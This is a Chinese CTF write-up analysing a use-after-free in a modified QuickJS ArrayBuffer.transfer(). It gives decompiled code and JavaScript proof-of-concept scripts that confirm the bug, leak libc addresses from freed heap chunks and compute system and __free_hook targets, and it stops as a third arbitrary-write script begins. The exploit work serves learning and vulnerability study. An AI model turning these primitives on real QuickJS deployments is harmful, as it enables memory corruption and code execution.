一道JS引擎题目复现babyjs

一道JS引擎题目复现babyjs

前言

最近在做CTF题目时遇到了一道有趣的JavaScript引擎pwn题------基于修改版QuickJS的ArrayBuffer.transfer()实现缺陷。这个漏洞的成因非常经典:在对象状态转换时只更新了部分相关数据结构,导致产生Use-After-Free。整个利用链从地址泄露到tcache投毒再到控制流劫持,是一次完整的堆利用实践。

题目的neta很有意思:"经验表明,一个足够坚定的人使用poc撰写exp基本总能成功",改编自"经验表明,一个足够坚定的人使用近战武器攻击坦克基本总能成功"。确实,有了PoC之后,剩下的就是堆布局的调试和利用链的构造了。

漏洞信息

题目名称 : babyjs 漏洞类型 : Use-After-Free (UAF) 影响版本 : 修改版QuickJS(基于某个官方版本) 影响函数 : js_array_buffer_transfer (地址 0xa6450) 漏洞成因: transfer()操作后只更新了ArrayBuffer对象的detached标志,但没有同步更新相关的TypedArray视图

相关背景知识

JavaScript中的ArrayBuffer与TypedArray

在深入漏洞分析之前,我们需要理解JavaScript中ArrayBuffer和TypedArray的工作机制。

ArrayBuffer是JavaScript提供的一种表示固定长度原始二进制数据缓冲区的对象。它本身不能直接读写,需要通过视图(View)来操作:

javascript 复制代码
// 创建一个256字节的ArrayBuffer
const buffer = new ArrayBuffer(256);

// 创建不同类型的视图来访问同一块内存
const uint32View = new Uint32Array(buffer);  // 以32位无符号整数方式访问
const uint8View = new Uint8Array(buffer);    // 以8位无符号整数方式访问
const float64View = new Float64Array(buffer); // 以64位浮点数方式访问

// 这些视图都指向同一块底层内存
uint32View[0] = 0x12345678;
console.log(uint8View[0]); // 0x78 (小端序)

TypedArray 是一组用于访问ArrayBuffer的类型化数组视图,包括Int8Array, Uint32Array, Float64Array等。每个TypedArray实例都维护着指向底层ArrayBuffer的引用以及自己的偏移量和长度。

ArrayBuffer的Detached状态

当ArrayBuffer被"分离"(detached)后,它的底层数据缓冲区会被释放或转移,此时:

  • ArrayBuffer的byteLength属性变为0
  • 任何尝试通过TypedArray访问该ArrayBuffer的操作都应该抛出TypeError异常
  • 相关的TypedArray视图也应该失效

常见导致ArrayBuffer detached的操作:

  1. ArrayBuffer.transfer() - 将数据转移到新的ArrayBuffer
  2. postMessage() - 通过结构化克隆转移所有权
  3. 手动调用引擎内部的detach API

ArrayBuffer.transfer()方法

ArrayBuffer.prototype.transfer()是一个相对较新的API(ES2024提案),用于创建一个新的ArrayBuffer并将原ArrayBuffer的内容转移过去:

javascript 复制代码
const buffer1 = new ArrayBuffer(8);
const view1 = new Uint8Array(buffer1);
view1[0] = 42;

// 转移数据到新buffer,可以指定新的大小
const buffer2 = buffer1.transfer(16);
const view2 = new Uint8Array(buffer2);

console.log(view2[0]); // 42 - 数据被保留
console.log(buffer1.byteLength); // 0 - 原buffer已detached
console.log(view1.byteLength); // 0 - 原view也应该失效

// 尝试访问原view应该抛出异常
try {
    console.log(view1[0]); // 应该抛出TypeError
} catch (e) {
    console.log("Expected error:", e.message);
}

QuickJS中的关键数据结构

QuickJS引擎中,ArrayBuffer和TypedArray的实现涉及以下关键结构:

JSArrayBuffer结构体
c 复制代码
typedef struct JSArrayBuffer {
    int byte_length;      // offset +0:  缓冲区字节长度,detached时为0
    int max_byte_length;  // offset +4:  可调整大小缓冲区的最大长度
    uint8_t detached;     // offset +8:  detached标志,1表示已分离
    uint8_t shared;       // offset +9:  shared标志,1表示SharedArrayBuffer
    uint8_t *data;        // offset +16: 指向实际数据的指针,detached时为NULL
    struct list_head array_list;  // offset +24: 关联的TypedArray视图链表
    void *opaque;         // offset +40: 不透明指针,传递给free_func
    JSFreeArrayBufferDataFunc *free_func;  // offset +48: 释放数据的函数指针
} JSArrayBuffer;

这个结构体的设计很清晰:

  • byte_lengthdata存储实际的缓冲区信息
  • detached标志表示当前状态
  • array_list是一个双向链表头,连接所有基于此ArrayBuffer创建的TypedArray视图
  • free_func是一个函数指针,用于释放data指向的内存
JSTypedArray结构体
c 复制代码
typedef struct JSTypedArray {
    struct list_head link;   // offset +0:  链接到arraybuffer的array_list
    JSObject *obj;           // offset +16: 指向TypedArray对象本身的指针
    JSObject *buffer;        // offset +24: 指向基础ArrayBuffer对象的指针
    uint32_t offset;         // offset +32: 在ArrayBuffer中的字节偏移
    uint32_t length;         // offset +36: TypedArray的长度(元素个数)
} JSTypedArray;

TypedArray结构通过link字段串联在ArrayBuffer的array_list链表上。这样设计的目的是:当ArrayBuffer状态变化时(如resize或detach),可以遍历所有相关的TypedArray视图并同步更新它们的状态

内存布局示意
makefile 复制代码
ArrayBuffer对象内存布局:
+0x00: byte_length (4 bytes)
+0x04: max_byte_length (4 bytes)
+0x08: detached (1 byte)
+0x09: shared (1 byte)
+0x10: data指针 (8 bytes)
+0x18: array_list.next (8 bytes)  ← 链表头
+0x20: array_list.prev (8 bytes)
+0x28: opaque (8 bytes)
+0x30: free_func (8 bytes)

TypedArray对象内存布局:
+0x00: link.next (8 bytes)  ← 连接到ArrayBuffer的array_list
+0x08: link.prev (8 bytes)
+0x10: obj指针 (8 bytes)
+0x18: buffer指针 (8 bytes)
+0x20: offset (4 bytes)
+0x24: length (4 bytes)

当一个TypedArray被创建时,它会被添加到对应ArrayBuffer的array_list链表中。这个链表关系是整个漏洞的关键所在。

漏洞分析

完整源码分析

通过IDA逆向,我们得到了js_array_buffer_transfer函数的完整实现。让我们逐段分析:

c 复制代码
JSValue __fastcall js_array_buffer_transfer(
        JSContext *ctx,
        JSValue this_val,
        int argc,
        JSValue *argv,
        int transfer_to_fixed_length)
{
    int64_t tag;
    JSArrayBuffer *v13;
    uint64_t new_len;
    uint64_t max_len[9];
    
    tag = this_val.tag;
    
    // 1. 获取ArrayBuffer对象指针
    v13 = (JSArrayBuffer *)JS_GetOpaque2(ctx, this_val, 0x13u);
    if (!v13)
        goto ERROR_RETURN;
    
    // 2. 检查是否为SharedArrayBuffer(不支持transfer)
    if (v13->shared)
        return JS_ThrowTypeError(ctx, "cannot transfer a SharedArrayBuffer");

函数开始时进行基本的参数检查。注意0x13uJS_CLASS_ARRAY_BUFFER的类ID。

c 复制代码
    // 3. 解析新的长度参数
    if (argc > 0 && LODWORD(argv->tag) != 3) {
        if (JS_ToIndex(ctx, &new_len, *argv))
            goto ERROR_RETURN;
    } else {
        new_len = v13->byte_length;  // 默认使用原长度
    }
    
    // 4. 检查原ArrayBuffer是否已经detached
    if (v13->detached)
        return JS_ThrowTypeError(ctx, "ArrayBuffer is detached");

这里处理了transfer()的可选参数------新ArrayBuffer的大小。如果不指定,默认使用原大小。

c 复制代码
    // 5. 处理可调整大小的ArrayBuffer
    if (!transfer_to_fixed_length) {
        max_byte_length = v13->max_byte_length;
        if ((max_byte_length & 0x80000000) == 0) {
            max_len[0] = v13->max_byte_length;
            if (max_byte_length < new_len)
                return JS_ThrowTypeError(ctx, "invalid array buffer length");
            if (v13->free_func == js_array_buffer_free)
                v16 = max_len;
        }
    }

这部分处理可调整大小(resizable)ArrayBuffer的情况,检查新长度是否超过maxByteLength

关键漏洞代码

接下来是核心的数据转移逻辑,也是漏洞所在

c 复制代码
    // 6. 如果新长度不为0,需要复制或重分配数据
    if (new_len) {
        data = v13->data;
        free_func = v13->free_func;
        byte_length = v13->byte_length;
        
        // 情况1: 长度不变,直接使用原数据
        if (byte_length == new_len) {
            v23 = v13->data;
            goto DETACH_AND_RETURN;
        }
        
        // 情况2: 长度改变,需要realloc或memcpy
        if (new_len <= 0x7FFFFFFF) {
            // 如果使用默认的free函数,尝试realloc
            if (free_func == js_array_buffer_free) {
                v26 = (uint8_t *)js_realloc(ctx, v13->data, new_len);
                v23 = v26;
                if (v26) {
                    // 如果扩大了,需要将新增部分清零
                    if (v13->byte_length < new_len) {
                        memset(&v26[v13->byte_length], 0, 
                               new_len - v13->byte_length);
                    }
                    goto DETACH_AND_RETURN;
                }
            } else {
                // 如果使用自定义free函数,需要重新分配并复制
                v21 = (uint8_t *)js_mallocz_rt(ctx->rt, new_len);
                if (v21) {
                    int copy_size = (byte_length <= new_len) ? 
                                    byte_length : new_len;
                    memcpy(v21, data, copy_size);
                    v13->free_func(ctx->rt, v13->opaque, data);
                    v23 = v21;
                    free_func = js_array_buffer_free;
                    goto DETACH_AND_RETURN;
                }
            }
            goto ERROR_RETURN;
        }
        return JS_ThrowRangeError(ctx, "invalid array buffer length");
        
DETACH_AND_RETURN:
        // ⚠️⚠️⚠️ 漏洞核心:只标记ArrayBuffer为detached ⚠️⚠️⚠️
        v13->detached = 1;       // 设置detached标志
        v13->data = 0;           // 清空data指针
        v13->byte_length = 0;    // 清空byte_length
        
        // ❌ 关键问题:没有遍历array_list更新TypedArray视图!
        // ❌ 没有调用任何函数来同步视图状态!
        
        // 创建并返回新的ArrayBuffer
        return js_array_buffer_constructor3(
            ctx, (JSValue)__PAIR128__(3, 0), 
            new_len, v16, 0x13u, v23, free_func, 0, 0);
    }

这就是漏洞的本质 :在DETACH_AND_RETURN标签处,代码只做了三件事:

  1. 设置v13->detached = 1
  2. 清空v13->data = 0
  3. 清空v13->byte_length = 0

但是,完全没有处理v13->array_list中链接的所有TypedArray视图!这导致:

  • ArrayBuffer对象自己知道已经detached了
  • 但是所有基于它创建的TypedArray视图还保留着旧的lengthdata指针
  • 这些TypedArray的内部状态指向的是已经被转移的内存区域
c 复制代码
    } else {
        // 7. 如果新长度为0,调用JS_DetachArrayBuffer正确处理
        JS_DetachArrayBuffer(ctx, 
            (JSValue)__PAIR128__(tag, (unsigned __int64)this_val.u.ptr));
        return js_array_buffer_constructor3(
            ctx, (JSValue)__PAIR128__(3, 0), 
            0, v16, 0x13u, 0, js_array_buffer_free, 0, 1);
    }

有意思的是,当new_len == 0时,代码正确地调用了JS_DetachArrayBuffer!这说明开发者知道存在这个函数,却在主要路径上没有使用它。

正确实现:JS_DetachArrayBuffer分析

让我们看看正确的detach实现是什么样的:

c 复制代码
void JS_DetachArrayBuffer(JSContext *ctx, JSValue obj)
{
    JSArrayBuffer *abuf = JS_GetOpaque(obj, JS_CLASS_ARRAY_BUFFER);
    
    if (!abuf || abuf->detached)
        return;
    
    // ✅ 关键步骤:遍历array_list中的所有TypedArray视图
    struct list_head *el, *el1;
    list_for_each_safe(el, el1, &abuf->array_list) {
        JSTypedArray *ta = list_entry(el, JSTypedArray, link);
        JSObject *view = ta->obj;
        
        // ✅ 更新每个视图的状态
        if (view->class_id != JS_CLASS_DATAVIEW) {
            // 对于TypedArray,清空length和data指针
            view->u.typed_array.length = 0;
            view->u.typed_array.data = NULL;
        }
        // DataView的处理略有不同,但也会失效
    }
    
    // ✅ 所有视图都更新完毕后,才标记ArrayBuffer为detached
    abuf->detached = 1;
    abuf->data = NULL;
    abuf->byte_length = 0;
}

对比两者的区别:

操作 js_array_buffer_transfer JS_DetachArrayBuffer
设置detached标志
清空data指针
清空byte_length
遍历array_list 缺失
更新TypedArray.length 缺失
更新TypedArray.data 缺失

漏洞触发流程对比

正常的ArrayBuffer.resize()流程(参考对比):

makefile 复制代码
用户调用: buffer.resize(newSize)
    ↓
进入: js_array_buffer_resize (地址 0x4b370)
    ↓
分配/调整内存
    ↓
遍历 array_list 链表 (行 52-81)
    ↓
更新每个 TypedArray 的:
    - length 字段
    - data 指针
    - 其他相关状态
    ↓
✅ 所有视图状态与ArrayBuffer保持同步

存在漏洞的ArrayBuffer.transfer()流程:

ini 复制代码
用户调用: buffer.transfer(newSize)
    ↓
进入: js_array_buffer_transfer (地址 0xa6450)
    ↓
复制/转移数据到新内存
    ↓
标记原ArrayBuffer:
    - detached = 1
    - data = NULL
    - byte_length = 0
    ↓
❌ 跳过遍历 array_list 的步骤
    ↓
创建新ArrayBuffer并返回
    ↓
❌ 旧的TypedArray视图仍然保留:
    - 非零的 length
    - 指向已转移内存的 data 指针
    ↓
💣 Use-After-Free 漏洞!

汇编层面的验证

在IDA中查看关键代码段(地址 0xa659b - 0xa65d5):

asm 复制代码
; 设置detached状态
loc_A659B:
    mov     byte ptr [r8+8], 1      ; v13->detached = 1
    mov     qword ptr [r8+10h], 0   ; v13->data = NULL
    mov     dword ptr [r8], 0       ; v13->byte_length = 0
    
    ; 准备调用js_array_buffer_constructor3创建新buffer
    mov     rdi, r12                ; ctx
    mov     esi, 3                  ; tag
    xor     edx, edx                ; ptr = NULL
    mov     rcx, r13                ; new_len
    mov     r8, r14                 ; max_len
    mov     r9d, 13h                ; class_id
    mov     [rsp+90h+var_70], rbx   ; data
    mov     [rsp+90h+var_68], rbp   ; free_func
    mov     [rsp+90h+var_60], 0     ; opaque
    mov     [rsp+90h+var_58], 0     ; shared
    
    call    js_array_buffer_constructor3
    ; ↑ 注意:从设置detached到这里,没有任何对array_list的操作!
    
    jmp     loc_A66AD               ; 返回

可以清楚地看到,在标记detached和创建新buffer之间,没有任何循环或函数调用来处理array_list。这段汇编代码直接印证了我们从伪代码中看到的问题。

内存状态图解

让我们用图示来理解漏洞前后的内存状态变化:

调用transfer()之前:

yaml 复制代码
堆内存:
┌──────────────────┐ 0x555556789000
│  实际数据区域     │
│ [0xAAAA0000]     │
│ [0xAAAA0001]     │
│ [0xAAAA0002]     │
│      ...         │
└──────────────────┘

ArrayBuffer对象 (ab1):
┌──────────────────┐
│ byte_length:     │ = 0x100
│ detached:        │ = 0 (false)
│ data: ───────────┼─→ 0x555556789000
│ array_list: ─────┼─→ [TypedArray链表]
│   next: ─────────┼──┐
│   prev: ─────────┼──┤
│ free_func:       │  │
└──────────────────┘  │
                      │
TypedArray对象 (ta1): │
┌──────────────────┐  │
│ link: ───────────┼──┘ (连接到ab1的array_list)
│ obj:             │
│ buffer: ─────────┼─→ ab1
│ offset:          │ = 0
│ length:          │ = 64 (0x100/4)
└──────────────────┘
  ↓
JSObject (实际的Uint32Array):
┌──────────────────┐
│ class_id: ───────┼─→ JS_CLASS_UINT32_ARRAY
│ u.typed_array:   │
│   length: ───────┼─→ 64
│   data: ─────────┼─→ 0x555556789000
└──────────────────┘

调用ab1.transfer()之后:

yaml 复制代码
堆内存:
┌──────────────────┐ 0x555556ABC000 (新分配)
│  转移后的数据     │
│ [0xAAAA0000]     │
│ [0xAAAA0001]     │
│ [0xAAAA0002]     │
│      ...         │
└──────────────────┘

┌──────────────────┐ 0x555556789000 (旧地址)
│  可能被重用的     │ ← ⚠️ 悬空指针指向这里!
│  内存区域         │    可能包含:
│ [tcache fd]      │    - tcache链表指针
│ [heap metadata]  │    - 其他对象数据
│      ...         │    - libc指针
└──────────────────┘

原ArrayBuffer对象 (ab1):
┌──────────────────┐
│ byte_length:     │ = 0 ✅
│ detached:        │ = 1 ✅
│ data:            │ = NULL ✅
│ array_list: ─────┼─→ [链表仍然存在]
│   next: ─────────┼──┐
│   prev: ─────────┼──┤
└──────────────────┘  │
                      │
原TypedArray对象 (ta1): │
┌──────────────────┐  │
│ link: ───────────┼──┘ (仍然连接)
│ obj:             │
│ buffer: ─────────┼─→ ab1 (已detached)
│ offset:          │ = 0 ❌ 未清零
│ length:          │ = 64 ❌ 未清零!
└──────────────────┘
  ↓
JSObject (ta1对应的Uint32Array):
┌──────────────────┐
│ class_id: ───────┼─→ JS_CLASS_UINT32_ARRAY
│ u.typed_array:   │
│   length: ───────┼─→ 64 ❌ 应该是0!
│   data: ─────────┼─→ 0x555556789000 ❌ 应该是NULL!
└──────────────────┘         │
                             │
                             └→ 💣 悬空指针!指向已释放/转移的内存

新ArrayBuffer对象 (ab2):
┌──────────────────┐
│ byte_length:     │ = 0x100
│ detached:        │ = 0
│ data: ───────────┼─→ 0x555556ABC000 (新地址)
│ array_list: ─────┼─→ [空链表或新视图]
└──────────────────┘

新TypedArray对象 (ta2):
┌──────────────────┐
│ buffer: ─────────┼─→ ab2
│ offset:          │ = 0
│ length:          │ = 64
└──────────────────┘
  ↓
JSObject:
┌──────────────────┐
│ u.typed_array:   │
│   length: ───────┼─→ 64
│   data: ─────────┼─→ 0x555556ABC000 ✅ 正确
└──────────────────┘

关键观察:

  1. ab1被正确标记为detached(detached=1, data=NULL, byte_length=0)
  2. ta1的TypedArray结构体没有更新(length仍为64)
  3. ta1对应的JSObject.u.typed_array也没有更新(data指针仍指向0x555556789000)
  4. 结果:通过ta1访问数组时,QuickJS不会检查底层ArrayBuffer是否detached,直接使用JSObject中保存的data指针和length,导致访问已释放/转移的内存

UAF的具体表现

这个UAF有以下特点:

  1. 读原语:可以通过旧TypedArray读取已转移内存区域的数据
javascript 复制代码
const value = ta1[0]; // 读取0x555556789000位置的数据
  1. 写原语:可以通过旧TypedArray写入已转移内存区域
javascript 复制代码
ta1[0] = 0xDEADBEEF; // 写入0x555556789000位置
  1. 数据重叠:如果旧内存区域被新分配的ArrayBuffer复用,会造成数据损坏
javascript 复制代码
ta1[0] = 0x12345678; // 写入旧地址
console.log(ta2[0]); // 如果内存重叠,可能读到0x12345678

漏洞验证实验

理论分析完毕,让我们通过实际代码来验证漏洞的存在。

实验1:基础UAF验证

首先编写最简单的PoC来确认漏洞触发:

javascript 复制代码
// simple_uaf_verify.js - 验证UAF漏洞存在

console.log("=".repeat(70));
console.log("[*] QuickJS ArrayBuffer.transfer() UAF Vulnerability Verification");
console.log("=".repeat(70));
console.log();

// 阶段1:创建测试对象
console.log("[Phase 1] Creating ArrayBuffer and TypedArray...");
const ab1 = new ArrayBuffer(0x100);
const ta1 = new Uint32Array(ab1);

console.log("  [+] ArrayBuffer created: size = 0x100 bytes");
console.log("  [+] TypedArray created: length =", ta1.length);
console.log("  [+] TypedArray byteLength =", ta1.byteLength);
console.log();

// 阶段2:填充可识别的测试数据
console.log("[Phase 2] Filling with test pattern...");
for (let i = 0; i < ta1.length; i++) {
    ta1[i] = 0xAAAA0000 + i;
}

console.log("  [+] Pattern: 0xAAAA0000, 0xAAAA0001, 0xAAAA0002, ...");
console.log("  [+] ta1[0] =", "0x" + ta1[0].toString(16).padStart(8, "0"));
console.log("  [+] ta1[1] =", "0x" + ta1[1].toString(16).padStart(8, "0"));
console.log("  [+] ta1[2] =", "0x" + ta1[2].toString(16).padStart(8, "0"));
console.log();

// 阶段3:触发漏洞
console.log("[Phase 3] Triggering vulnerability via transfer()...");
console.log("  [*] Calling ab1.transfer()...");

const ab2 = ab1.transfer();
const ta2 = new Uint32Array(ab2);

console.log("  [+] Transfer completed");
console.log("  [+] ab1 should be detached now");
console.log("  [+] ab1.byteLength =", ab1.byteLength, "(should be 0)");
console.log("  [+] ta2 is the new TypedArray pointing to transferred data");
console.log();

// 阶段4:检测UAF - 读取
console.log("[Phase 4] Testing UAF: Reading from detached TypedArray...");
console.log("  [*] Attempting to read ta1[0] (should fail but won't)...");
console.log();

try {
    const oldValue = ta1[0];
    
    console.log("\x1b[1;31m" + "=".repeat(70));
    console.log("  [!!! UAF VULNERABILITY CONFIRMED !!!]");
    console.log("=".repeat(70) + "\x1b[0m");
    console.log();
    console.log("  ❌ Expected behavior: TypeError (ArrayBuffer is detached)");
    console.log("  ✓ Actual behavior: Successfully read value = 0x" + 
                oldValue.toString(16).padStart(8, "0"));
    console.log();
    console.log("  Analysis:");
    console.log("    - ArrayBuffer ab1 is marked as detached");
    console.log("    - But TypedArray ta1 still has valid length and data pointer");
    console.log("    - Can access memory that should be inaccessible");
    console.log();
    
    // 阶段5:检测UAF - 写入
    console.log("[Phase 5] Testing UAF: Writing through detached TypedArray...");
    console.log("  [*] Attempting to write ta1[0] = 0xDEADBEEF...");
    
    ta1[0] = 0xDEADBEEF;
    console.log("  ✓ Write operation succeeded (should have failed)");
    console.log();
    
    // 阶段6:检查内存损坏
    console.log("[Phase 6] Checking for memory corruption...");
    console.log("  [*] Reading ta2[0] to see if new buffer was affected...");
    
    const newValue = ta2[0];
    console.log("  [+] ta2[0] = 0x" + newValue.toString(16).padStart(8, "0"));
    console.log();
    
    if (newValue === 0xDEADBEEF) {
        console.log("\x1b[1;31m  [!! CRITICAL !!] Memory corruption detected!");
        console.log("  Write through ta1 affected ta2's data!");
        console.log("  This indicates the buffers share or overlap memory.\x1b[0m");
    } else if (newValue === 0xAAAA0000) {
        console.log("\x1b[1;33m  [!] Data preserved in new buffer");
        console.log("  Write through ta1 affected old memory location");
        console.log("  Old memory might be reused by other objects\x1b[0m");
    }
    console.log();
    
    // 阶段7:多次读写测试
    console.log("[Phase 7] Extended UAF test - multiple operations...");
    
    for (let i = 0; i < 5; i++) {
        ta1[i] = 0xBAAD0000 + i;
    }
    console.log("  [+] Wrote pattern 0xBAAD0000-0xBAAD0004 through ta1");
    
    console.log("  [+] Reading back through ta1:");
    for (let i = 0; i < 5; i++) {
        console.log("      ta1[" + i + "] = 0x" + 
                    ta1[i].toString(16).padStart(8, "0"));
    }
    console.log();
    
    console.log("  [+] Checking ta2 for corruption:");
    for (let i = 0; i < 5; i++) {
        console.log("      ta2[" + i + "] = 0x" + 
                    ta2[i].toString(16).padStart(8, "0"));
    }
    console.log();
    
    // 总结
    console.log("=".repeat(70));
    console.log("[Summary] UAF Vulnerability Characteristics:");
    console.log("=".repeat(70));
    console.log("  1. TypedArray retains data pointer after ArrayBuffer.transfer()");
    console.log("  2. Can read from freed/transferred memory");
    console.log("  3. Can write to freed/transferred memory");
    console.log("  4. May corrupt new ArrayBuffer if memory is reused");
    console.log("  5. No bounds checking on detached buffer");
    console.log();
    console.log("\x1b[1;32m[✓] Vulnerability successfully reproduced!\x1b[0m");
    console.log();
    
} catch (e) {
    console.log("\x1b[1;32m" + "=".repeat(70));
    console.log("  [✓] NO UAF DETECTED (Expected secure behavior)");
    console.log("=".repeat(70) + "\x1b[0m");
    console.log();
    console.log("  Error message:", e.message);
    console.log("  TypedArray correctly detached and access denied");
    console.log();
}

console.log("=".repeat(70));
console.log("[*] Verification complete");
console.log("=".repeat(70));

预期输出(漏洞版本):

ini 复制代码
======================================================================
[*] QuickJS ArrayBuffer.transfer() UAF Vulnerability Verification
======================================================================

[Phase 1] Creating ArrayBuffer and TypedArray...
  [+] ArrayBuffer created: size = 0x100 bytes
  [+] TypedArray created: length = 64
  [+] TypedArray byteLength = 256

[Phase 2] Filling with test pattern...
  [+] Pattern: 0xAAAA0000, 0xAAAA0001, 0xAAAA0002, ...
  [+] ta1[0] = 0xaaaa0000
  [+] ta1[1] = 0xaaaa0001
  [+] ta1[2] = 0xaaaa0002

[Phase 3] Triggering vulnerability via transfer()...
  [*] Calling ab1.transfer()...
  [+] Transfer completed
  [+] ab1 should be detached now
  [+] ab1.byteLength = 0 (should be 0)
  [+] ta2 is the new TypedArray pointing to transferred data

[Phase 4] Testing UAF: Reading from detached TypedArray...
  [*] Attempting to read ta1[0] (should fail but won't)...

======================================================================
  [!!! UAF VULNERABILITY CONFIRMED !!!]
======================================================================

  ❌ Expected behavior: TypeError (ArrayBuffer is detached)
  ✓ Actual behavior: Successfully read value = 0xaaaa0000

  Analysis:
    - ArrayBuffer ab1 is marked as detached
    - But TypedArray ta1 still has valid length and data pointer
    - Can access memory that should be inaccessible

[Phase 5] Testing UAF: Writing through detached TypedArray...
  [*] Attempting to write ta1[0] = 0xDEADBEEF...
  ✓ Write operation succeeded (should have failed)

[Phase 6] Checking for memory corruption...
  [*] Reading ta2[0] to see if new buffer was affected...
  [+] ta2[0] = 0xdeadbeef

  [!! CRITICAL !!] Memory corruption detected!
  Write through ta1 affected ta2's data!
  This indicates the buffers share or overlap memory.

[Summary] UAF Vulnerability Characteristics:
  1. TypedArray retains data pointer after ArrayBuffer.transfer()
  2. Can read from freed/transferred memory
  3. Can write to freed/transferred memory
  4. May corrupt new ArrayBuffer if memory is reused
  5. No bounds checking on detached buffer

[✓] Vulnerability successfully reproduced!

实验2:任意地址读取验证

利用UAF,我们可以读取堆上残留的指针,从而泄露libc和堆地址:

javascript 复制代码
// arbitrary_read_verify.js - 验证任意读能力

function tohex(v) {
    return "0x" + v.toString(16).padStart(16, "0");
}

console.log("=".repeat(70));
console.log("[*] Arbitrary Read Capability Verification");
console.log("=".repeat(70));
console.log();

// 步骤1:堆风水 - 创建大块触发unsorted bin
console.log("[Step 1] Heap grooming - creating large chunks...");
console.log("  [*] Purpose: Populate unsorted bin to get libc pointers");
console.log();

const tmp1 = new ArrayBuffer(0x800);
const tmp5 = new ArrayBuffer(0x800);

console.log("  [+] Created tmp1: 0x800 bytes");
console.log("  [+] Created tmp5: 0x800 bytes");
console.log("  [+] These will be used to stabilize heap layout");
console.log();

// 步骤2:创建目标ArrayBuffer
console.log("[Step 2] Creating target ArrayBuffer for leak...");

const ab1 = new ArrayBuffer(0x800);
const ta1 = new BigUint64Array(ab1);

console.log("  [+] Created ab1: 0x800 bytes");
console.log("  [+] Created ta1: BigUint64Array view");
console.log("  [+] ta1.length = " + ta1.length + " (64-bit elements)");
console.log();

// 步骤3:创建小块用于堆布局
console.log("[Step 3] Creating small buffers for heap layout...");

const tmp2 = new ArrayBuffer(0x10);
const tmp3 = new ArrayBuffer(0x10);
const tmp4 = new ArrayBuffer(0x10);

console.log("  [+] Created 3 small buffers (0x10 bytes each)");
console.log("  [+] These help control heap chunk placement");
console.log();

// 步骤4:触发UAF
console.log("[Step 4] Triggering UAF via transfer()...");

let ab1_f = ab1.transfer();
let ta1_f = new BigUint64Array(ab1_f);

console.log("  [+] Called ab1.transfer()");
console.log("  [+] Created new TypedArray ta1_f on transferred buffer");
console.log();

// 步骤5:释放新buffer,让内存进入bins
console.log("[Step 5] Freeing new buffer to populate bins...");

ab1_f = null;
ta1_f = null;

console.log("  [+] Set ab1_f = null");
console.log("  [+] Set ta1_f = null");
console.log("  [+] Chunk will enter unsorted bin or tcache");
console.log("  [+] Bin metadata will contain libc pointers");
console.log();

// 步骤6:通过UAF读取泄露的指针
console.log("[Step 6] Reading leaked pointers via UAF...");
console.log("  [*] Using ta1 (which still has dangling pointer)...");
console.log();

try {
    const leaked_value = ta1[0];
    
    console.log("\x1b[1;32m  [✓] Successfully read via dangling pointer!\x1b[0m");
    console.log("  [+] Raw leaked value: " + tohex(leaked_value));
    console.log();
    
    // 步骤7:分析泄露的数据
    console.log("[Step 7] Analyzing leaked data...");
    
    // 检查是否为libc指针(高位应该是0x7f)
    const addr_str = leaked_value.toString(16);
    const is_userspace = addr_str.length >= 12 && addr_str.startsWith("7f");
    
    if (is_userspace) {
        console.log("  [+] Leaked value appears to be a libc pointer!");
        console.log("      - High byte: 0x7f (userspace high address)");
        console.log("      - Length: " + addr_str.length + " hex digits");
        console.log();
        
        // 计算libc基址(偏移需要根据实际libc版本调整)
        // 这里假设泄露的是main_arena+96的地址
        const libc_leak = leaked_value;
        const libc_offset = 0x203b20n; // 根据实际环境调整
        const libc_base = libc_leak - libc_offset;
        
        console.log("[Step 8] Calculating addresses...");
        console.log("  [+] Leaked pointer: " + tohex(libc_leak));
        console.log("  [+] Assumed offset: " + tohex(libc_offset));
        console.log("  [+] Calculated libc base: " + tohex(libc_base));
        console.log();
        
        // 验证地址合理性
        const base_str = libc_base.toString(16);
        if (base_str.length === 12 && base_str.endsWith("000")) {
            console.log("  \x1b[1;32m[✓] Libc base looks valid (aligned to page)\x1b[0m");
        } else {
            console.log("  \x1b[1;33m[⚠] Libc base may be incorrect\x1b[0m");
            console.log("      Offset 0x203b20 might not match your libc version");
        }
        console.log();
        
        // 计算常用函数地址
        console.log("[Step 9] Computing useful addresses...");
        const system_offset = 0x58750n;
        const free_hook_offset = 0x203b20n;
        const str_offset = 0x1b45bd;
        
        console.log("  [+] system@libc:      " + tohex(libc_base + system_offset));
        console.log("  [+] __free_hook:      " + tohex(libc_base + free_hook_offset));
        console.log("  [+] \"/bin/sh\" string: " + tohex(libc_base + BigInt(str_offset)));
        console.log();
        
    } else if (leaked_value < 0x1000000n) {
        console.log("  [+] Leaked value appears to be a small integer");
        console.log("      - Might be heap metadata or size field");
        console.log();
    } else {
        console.log("  [+] Leaked value appears to be a heap pointer");
        console.log("      - Could be used to calculate heap base");
        console.log();
    }
    
    // 步骤10:读取更多数据
    console.log("[Step 10] Reading additional memory content...");
    console.log("  [+] Dumping first 16 qwords via UAF:");
    console.log();
    
    for (let i = 0; i < 16; i++) {
        try {
            const val = ta1[i];
            const hex_val = tohex(val);
            const offset = "+" + (i * 8).toString(16).padStart(3, "0");
            
            // 分析每个值的可能含义
            let annotation = "";
            const val_str = val.toString(16);
            if (val_str.startsWith("7f") && val_str.length >= 12) {
                annotation = " <- possible libc pointer";
            } else if (val === 0n) {
                annotation = " <- NULL";
            } else if (val < 0x1000n) {
                annotation = " <- small value (size/flag?)";
            } else if (val_str.length >= 12) {
                annotation = " <- possible heap pointer";
            }
            
            console.log("      [" + offset + "] " + hex_val + annotation);
        } catch (e) {
            console.log("      [" + offset + "] <read failed>");
        }
    }
    console.log();
    
    // 总结
    console.log("=".repeat(70));
    console.log("[Summary] Arbitrary Read Capability:");
    console.log("=".repeat(70));
    console.log("  ✓ Can read freed memory via dangling TypedArray pointer");
    console.log("  ✓ Successfully leaked heap metadata/pointers");
    console.log("  ✓ Can potentially leak libc addresses");
    console.log("  ✓ Can dump arbitrary memory regions");
    console.log();
    console.log("\x1b[1;32m[+] Arbitrary read primitive confirmed!\x1b[0m");
    console.log();
    
} catch (e) {
    console.log("\x1b[1;31m  [✗] Read failed (no UAF):\x1b[0m " + e.message);
    console.log();
}

console.log("=".repeat(70));

关键技术点:

  1. Unsorted Bin技巧:创建大块ArrayBuffer(0x800字节)并释放,会进入unsorted bin,其fd/bk指针指向libc中的main_arena
  2. UAF读取:通过悬空的TypedArray指针读取已释放chunk的内容,获取libc指针
  3. 地址计算:根据已知偏移量计算libc基址和各种有用函数的地址

实验3:任意地址写入验证

结合tcache投毒技术,我们可以实现任意地址写入:

javascript 复制代码
// arbitrary_write_verify.js - 验证任意写能力

function tohex(v) {
    return "0x" + v.toString(16).padStart(16, "0");
}

console.log("=".repeat(70));
